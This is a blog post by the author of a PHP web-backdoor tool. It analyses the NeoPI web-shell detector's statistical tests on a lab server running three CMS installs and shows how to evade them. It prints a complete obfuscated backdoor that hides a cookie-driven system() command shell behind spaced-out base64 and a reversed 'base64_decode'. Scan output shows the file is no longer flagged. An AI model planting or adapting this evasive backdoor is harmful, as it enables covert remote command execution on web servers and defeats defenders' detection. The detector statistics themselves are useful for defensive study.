Maths behind web shell code detection

Trying to enhance WeBaCoo’s stealth behavior I continuously examine various tools and methods used to detect hidden web backdoor shell code at infected hosts. The latest tool that came into my sight is NeoPI, a python script that uses various statistical methods to discover potential obfuscated and encrypted content within text/script files. NeoPI follows a very interesting approach by ranking potential malicious files based on Entropy, Longest Word and Index of Coincidence tests. Unfortunately, WeBaCoo’s base64 obfuscated backdoor code hasn’t passed undetected from NeoPI, ranked within the top 10 in a regular web server setup. Consequently, I proceeded to a further analysis of the tool in a try to find ways to effectively bypass its tests.

I mentioned NeoPI in one of my previous posts about web backdoor detection, although till recently I haven’t realized how useful it can prove under certain circumstances. The tool has five testing categories:

  1. Entropy: Measure file’s uncertainty associated with the ascii charset (more info)
  2. Longest Word: Large strings might form encrypted/obfuscated code
  3. Index of Coincidence: Low IC indicates potential encryption/obfuscation (more info)
  4. Signature: Search files for “dangerous” strings
  5. Compression: Compare files’ compression ratio (more info)

To examine NeoPI’s results in a real setup, I established a web server debian VM with 3 CMS installations (Joomla, WordPress and Coppermine). Under the web root path I have placed two WeBaCoo’s generated files: webacoo.php (base64 obfuscated) and webacoo_raw.php (raw php code).

In order to make results more accurate, the file extension regular expression feature was used to search only for server side PHP files. The initial scan report for all the tests under the webroot path is as follow:

root@testbed:~# ./neopi.py -z -e -l -i -s /var/www/ \.php$
[[ Total files scanned: 10235 ]]
[[ Total files ignored: 0 ]]
[[ Scan Time: 48.170000 seconds ]]
 
[[ Top 10 entropic files for a given search ]]
  6.1817		/var/www/gallery/lang/chinese_gb.php
  6.1784		/var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/zh-cn.php
  6.1710		/var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/zh-tw.php
  5.8753		/var/www/blog/wp-admin/js/revisions-js.php
  5.7846		/var/www/gallery/lang/japanese.php
  5.7306		/var/www/webacoo.php
  5.6484		/var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/cs.php
  5.6296		/var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/sk.php
  5.6203		/var/www/plugins/system/nonumberelements/helper.php
  5.6133		/var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/pl.php
 
[[ Top 10 longest word files ]]
     745		/var/www/gallery/include/exif_php.inc.php
     745		/var/www/gallery/exifmgr.php
     741		/var/www/gallery/lang/japanese.php
     728		/var/www/blog/wp-admin/js/revisions-js.php
     522		/var/www/blog/wp-includes/functions.php
     516		/var/www/libraries/tcpdf/tcpdf.php
     474		/var/www/plugins/content/jw_allvideos/includes/sources.php
     456		/var/www/blog/wp-content/plugins/sexybookmarks/includes/html-helpers.php
     436		/var/www/gallery/lang/chinese_gb.php
     354		/var/www/blog/wp-includes/class-simplepie.php
 
[[ Average IC for Search ]]
0.0372679517799
 
[[ Top 10 lowest IC files ]]
  0.0198		/var/www/webacoo.php
  0.0206		/var/www/gallery/lang/chinese_gb.php
  0.0217		/var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/zh-tw.php
  0.0217		/var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/zh-cn.php
  0.0217		/var/www/templates/system/index.php
  0.0217		/var/www/administrator/templates/system/index.php
  0.0222		/var/www/blog/wp-content/themes/lightword/alternatives/404.php
  0.0226		/var/www/blog/wp-admin/js/revisions-js.php
  0.0270		/var/www/includes/HTML_toolbar.php
  0.0272		/var/www/templates/beez/html/com_user/reset/complete.php
 
[[ Top 10 signature match counts ]]
      43		/var/www/gallery/include/themes.inc.php
      43		/var/www/gallery/themes/sample/theme.php
      26		/var/www/blog/wp-admin/includes/class-ftp.php
      19		/var/www/blog/wp-content/plugins/nextgen-gallery/lib/imagemagick.inc.php
      14		/var/www/libraries/geshi/geshi/php.php
      13		/var/www/blog/wp-includes/Text/Diff/Engine/native.php
      10		/var/www/blog/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpellShell.php
       9		/var/www/gallery/include/functions.inc.php
       8		/var/www/blog/wp-includes/js/tinymce/plugins/spellchecker/config.php
       8		/var/www/blog/wp-admin/includes/class-wp-filesystem-ssh2.php
 
[[ Top 10 compression match counts ]]
  1.0704		/var/www/administrator/templates/system/index.php
  1.0704		/var/www/templates/system/index.php
  1.0000		/var/www/blog/wp-content/plugins/sexybookmarks/includes/index.php
  1.0000		/var/www/blog/wp-content/plugins/sexybookmarks/js/index.php
  0.9663		/var/www/blog/wp-content/themes/lightword/alternatives/404.php
  0.8958		/var/www/includes/mambo.php
  0.8860		/var/www/includes/joomla.php
  0.8821		/var/www/includes/vcard.class.php
  0.8818		/var/www/includes/PEAR/PEAR.php
  0.8796		/var/www/includes/HTML_toolbar.php
 
[[ Top cumulative ranked files ]]
     122		/var/www/webacoo.php
     202		/var/www/blog/wp-admin/js/revisions-js.php
     528		/var/www/plugins/content/jw_allvideos/includes/elements/header.php
     912		/var/www/plugins/content/jw_allvideos/includes/helper.php
     984		/var/www/modules/mod_archive/helper.php
    1100		/var/www/libraries/bitfolge/vcard.php
    1210		/var/www/administrator/components/com_content/elements/article.php
    1240		/var/www/gallery/addfav.php
    1246		/var/www/administrator/components/com_installer/admin.installer.php
    1258		/var/www/administrator/components/com_config/views/component/view.php

While webacoo_raw.php successfully passed the tests, obfuscated code (webacoo.php) didn’t have the same luck. Entropy and Index of Coincidence tests have the highest scores, marking the tool as a possible malicous file. Despite these two scores, the obfuscated code has a high score at the longest word test too, but it is not observable in the lab setup because of the CMS long string matching and validating features.

These high scores are due to base64 encoding payload string. In order to bypass them, the generated code must implement some new features to trick these tests. My first thought was to split the encoded data into smaller chunks which are finally concatenated to form the overall payload. Although, after some tests this proved insufficient to bypass IC and Entropy tests. A second approach is to insert some spaces into the encoded data (space is not a valid base64 character) and delete them with a replace function before decode the data.

The question now is: After how many characters will a new space be inserted in order to have the best result? Trying to find the most efficient value, I created various code files with different group sizes (after 1,5,10,20 characters) between spaces and run NeoPI to compare the results.

root@testbed:~# ./neopi.py -z -e -l -i -s /var/www/pwn/ \.php$
[[ Total files scanned: 30 ]]
[[ Total files ignored: 0 ]]
[[ Scan Time: 0.010000 seconds ]]
 
[[ Top 10 entropic files for a given search ]]
  5.7646		/var/www/pwn/webacoo_new20.php
  5.7306		/var/www/pwn/webacoo.php
  5.6999		/var/www/pwn/webacoo_new10.php
  5.5322		/var/www/pwn/webacoo_new5.php
  5.1328		/var/www/pwn/webacoo_raw.php
  4.2037		/var/www/pwn/webacoo_new1.php
 
[[ Top 10 longest word files ]]
     295		/var/www/pwn/webacoo.php
      94		/var/www/pwn/webacoo_raw.php
      51		/var/www/pwn/webacoo_new1.php
      51		/var/www/pwn/webacoo_new10.php
      51		/var/www/pwn/webacoo_new5.php
      51		/var/www/pwn/webacoo_new20.php
 
[[ Average IC for Search ]]
0.040872937004
 
[[ Top 10 lowest IC files ]]
  0.0194		/var/www/pwn/webacoo_new20.php
  0.0198		/var/www/pwn/webacoo.php
  0.0224		/var/www/pwn/webacoo_new10.php
  0.0301		/var/www/pwn/webacoo_raw.php
  0.0338		/var/www/pwn/webacoo_new5.php
  0.2009		/var/www/pwn/webacoo_new1.php
 
[[ Top 10 signature match counts ]]
       1		/var/www/pwn/webacoo.php
       1		/var/www/pwn/webacoo_raw.php
       1		/var/www/pwn/webacoo_new1.php
       1		/var/www/pwn/webacoo_new10.php
       1		/var/www/pwn/webacoo_new5.php
       1		/var/www/pwn/webacoo_new20.php
 
[[ Top 10 compression match counts ]]
  0.8114		/var/www/pwn/webacoo_new10.php
  0.8101		/var/www/pwn/webacoo_new20.php
  0.7993		/var/www/pwn/webacoo.php
  0.7947		/var/www/pwn/webacoo_new5.php
  0.7593		/var/www/pwn/webacoo_raw.php
  0.5407		/var/www/pwn/webacoo_new1.php
 
[[ Top cumulative ranked files ]]
       8		/var/www/pwn/webacoo_new20.php
       9		/var/www/pwn/webacoo.php
      11		/var/www/pwn/webacoo_new10.php
      17		/var/www/pwn/webacoo_new5.php
      17		/var/www/pwn/webacoo_raw.php
      22		/var/www/pwn/webacoo_new1.php

webacoo_new20.php (insert space after 20 characters) has the worst behavior (even worse than the original webacoo.php with no spaces inserted). On the other hand webacoo_new1.php (space after each character) has the lowest score in every partial test, making it the most efficient choice (even better from the raw code).

Consequently, the new final backdoor file that is capable to pass undetected from NeoPI is as follow:

<?php $b=strrev("edoced_4"."6esab");eval($b(str_replace(" ","","a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = "))); ?>
root@testbed:~# ./neopi.py -z -e -l -i -s /var/www/ \.php$
[[ Total files scanned: 10230 ]]
[[ Total files ignored: 0 ]]
[[ Scan Time: 46.120000 seconds ]]
 
[[ Top 10 entropic files for a given search ]]
  6.1817		/var/www/gallery/lang/chinese_gb.php
  6.1784		/var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/zh-cn.php
  6.1710		/var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/zh-tw.php
  5.8753		/var/www/blog/wp-admin/js/revisions-js.php
  5.7846		/var/www/gallery/lang/japanese.php
  5.6484		/var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/cs.php
  5.6296		/var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/sk.php
  5.6203		/var/www/plugins/system/nonumberelements/helper.php
  5.6133		/var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/pl.php
  5.6060		/var/www/blog/wp-config.php
 
[[ Top 10 longest word files ]]
     745		/var/www/gallery/include/exif_php.inc.php
     745		/var/www/gallery/exifmgr.php
     741		/var/www/gallery/lang/japanese.php
     728		/var/www/blog/wp-admin/js/revisions-js.php
     522		/var/www/blog/wp-includes/functions.php
     516		/var/www/libraries/tcpdf/tcpdf.php
     474		/var/www/plugins/content/jw_allvideos/includes/sources.php
     456		/var/www/blog/wp-content/plugins/sexybookmarks/includes/html-helpers.php
     436		/var/www/gallery/lang/chinese_gb.php
     354		/var/www/blog/wp-includes/class-simplepie.php
 
[[ Average IC for Search ]]
0.0372700176166
 
[[ Top 10 lowest IC files ]]
  0.0206		/var/www/gallery/lang/chinese_gb.php
  0.0217		/var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/zh-tw.php
  0.0217		/var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/zh-cn.php
  0.0217		/var/www/templates/system/index.php
  0.0217		/var/www/administrator/templates/system/index.php
  0.0222		/var/www/blog/wp-content/themes/lightword/alternatives/404.php
  0.0226		/var/www/blog/wp-admin/js/revisions-js.php
  0.0270		/var/www/includes/HTML_toolbar.php
  0.0272		/var/www/templates/beez/html/com_user/reset/complete.php
  0.0273		/var/www/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/langs/cs.php
 
[[ Top 10 signature match counts ]]
      43		/var/www/gallery/include/themes.inc.php
      43		/var/www/gallery/themes/sample/theme.php
      26		/var/www/blog/wp-admin/includes/class-ftp.php
      19		/var/www/blog/wp-content/plugins/nextgen-gallery/lib/imagemagick.inc.php
      14		/var/www/libraries/geshi/geshi/php.php
      13		/var/www/blog/wp-includes/Text/Diff/Engine/native.php
      10		/var/www/blog/wp-includes/js/tinymce/plugins/spellchecker/classes/PSpellShell.php
       9		/var/www/gallery/include/functions.inc.php
       8		/var/www/blog/wp-includes/js/tinymce/plugins/spellchecker/config.php
       8		/var/www/blog/wp-admin/includes/class-wp-filesystem-ssh2.php
 
[[ Top 10 compression match counts ]]
  1.0704		/var/www/administrator/templates/system/index.php
  1.0704		/var/www/templates/system/index.php
  1.0000		/var/www/blog/wp-content/plugins/sexybookmarks/includes/index.php
  1.0000		/var/www/blog/wp-content/plugins/sexybookmarks/js/index.php
  0.9663		/var/www/blog/wp-content/themes/lightword/alternatives/404.php
  0.8958		/var/www/includes/mambo.php
  0.8860		/var/www/includes/joomla.php
  0.8821		/var/www/includes/vcard.class.php
  0.8818		/var/www/includes/PEAR/PEAR.php
  0.8796		/var/www/includes/HTML_toolbar.php
 
[[ Top cumulative ranked files ]]
     199		/var/www/blog/wp-admin/js/revisions-js.php
     521		/var/www/plugins/content/jw_allvideos/includes/elements/header.php
     907		/var/www/plugins/content/jw_allvideos/includes/helper.php
     977		/var/www/modules/mod_archive/helper.php
    1094		/var/www/libraries/bitfolge/vcard.php
    1203		/var/www/administrator/components/com_content/elements/article.php
    1233		/var/www/gallery/addfav.php
    1240		/var/www/administrator/components/com_installer/admin.installer.php
    1252		/var/www/administrator/components/com_config/views/component/view.php
    1264		/var/www/xmlrpc/includes/framework.php

 

This new technique to bypass statistical detection methods will be implemented in WeBaCoo’s next release.

 

 

A. Bechtsoudis

4 Comments

NeoPI in the Wild « Neohapsis LabsDecember 20th, 2011 at 17:01

[...] of obfuscated and encrypted webshells.  I recently came across an article about Webacoo and a rewrite of its php backdoor to avoid detection from [...]

NeoPI in the Wild « Neohapsis LabsDecember 20th, 2011 at 17:48

[...] obfuscated and encrypted webshells.  I recently came across an article about Webacoo shell and a rewrite of this php backdoor to avoid detection from [...]

[...] Billets en relation : 16/12/2011. Maths behind web shell code detection : bechtsoudis.com/hacking/maths-behind-web-shell-code-detection/ 21/12/2011. NeoPI : github.com/Neohapsis/NeoPI 24/12/2011. Source : [...]

SOMESH PRATAP SINGHJune 22nd, 2013 at 15:26

PLEASE TELL ME EXACT FORMULA FOR CALCULATING THE CUMULATIVE RANKS OF WEBSHELLS BASED ON NEOPI TOOL